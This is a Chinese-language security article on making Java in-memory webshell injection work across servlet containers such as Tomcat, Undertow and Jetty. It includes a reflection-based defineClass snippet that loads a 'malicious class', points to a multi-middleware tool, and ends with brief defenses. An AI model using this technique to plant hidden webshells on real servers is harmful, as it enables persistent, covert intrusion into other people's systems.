任意类加载环境下注入内存马
字数 1444 2025-08-29 22:41:24
任意类加载环境下注入内存马技术研究
1. 内存马注入基础原理
在JVM中,每个类都有其所属的类加载器。在Java内存马注入场景下,攻击者通常会:
- 制作一个恶意类
- 通过
ClassLoader.defineClass方法注入到JVM中 - 通过特定方法注册到Web组件上以供访问
传统的内存马注入方式存在以下问题:
- 依赖
Thread.currentThread().getContextClassLoader(),这在非请求线程中会失败 - 某些场景下
context.getClass().getClassLoader()不可行
2. 类加载器选择问题
2.1 传统方法的局限性
常见的类加载器获取方式:
// 方式1:上下文类加载器
Thread.currentThread().getContextClassLoader()
// 方式2:context的类加载器
context.getClass().getClassLoader()
这些方法存在以下问题:
- 上下文类加载器依赖请求线程,在非请求线程中不可用
- 某些中间件环境下
context.getClass().getClassLoader()无法正常工作
2.2 类加载器选择优化
研究发现,在Tomcat环境中,类加载遵循以下规则:
- 类名以
org.apache.catalina.开头的由当前class的类加载器加载 - 其他类使用
context.getLoader().getClassLoader()加载
关键代码片段(Tomcat5):
// org.apache.catalina.core.ApplicationFilterConfig#getFilter
if (filterClass.startsWith("org.apache.catalina.")) {
cl = ApplicationFilterConfig.class.getClassLoader();
} else {
cl = context.getLoader().getClassLoader();
}
3. Servlet规范中的类加载机制
研究发现Servlet规范(3.0+)中定义了ServletContext#getClassLoader方法,用于获取与应用相关联的ClassLoader。
Tomcat实现:
// org.apache.catalina.core.ApplicationContext
@Override
public ClassLoader getClassLoader() {
return context.getLoader().getClassLoader();
}
其他中间件实现:
- Undertow:
io.undertow.servlet.spec.ServletContextImpl#getClassLoader - Jetty:
org.eclipse.jetty.server.handler.ContextHandler#getClassLoader
4. 通用内存马注入方案
基于以上研究,提出了通用的内存马注入方案:
// 获取ServletContext
ServletContext servletContext = request.getServletContext();
// 获取应用类加载器
ClassLoader classLoader = servletContext.getClassLoader();
// 定义恶意类
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> evilClass = (Class<?>) defineClass.invoke(classLoader,
className, classBytes, 0, classBytes.length);
5. 兼容性处理
由于ServletContext#getClassLoader是Servlet 3.0引入的,需要考虑以下兼容性处理:
- 对于Servlet 3.0+环境,直接使用
ServletContext#getClassLoader - 对于旧版本环境,回退到中间件特定的类加载器获取方式
6. 中间件适配实现
MemShellParty项目已实现多种中间件的适配:
- Tomcat系列
- Undertow
- Jetty
- WebLogic
- WebSphere
- JBoss/WildFly
- Resin
- GlassFish
- 等共16种中间件
具体实现可参考:MemShellParty GitHub仓库
7. 防御措施
针对此类内存马注入攻击,建议采取以下防御措施:
- 部署RASP(运行时应用自我保护)解决方案,如靖云甲RASP
- 启用动态类加载分析功能
- 实施恶意类扫描和清除机制
- 限制非信任源的类加载操作
- 监控异常的类定义行为
8. 总结
通过深入研究Servlet规范和各类中间件的类加载机制,可以构建出更加通用和可靠的内存马注入方案。关键点包括:
- 优先使用
ServletContext#getClassLoader获取应用类加载器 - 针对不同中间件实现特定适配
- 考虑Servlet版本兼容性问题
- 在实战中注意异常处理和环境适配
这项研究使得内存马注入技术能够适应更多的实战漏洞场景,提高了攻击的成功率和稳定性。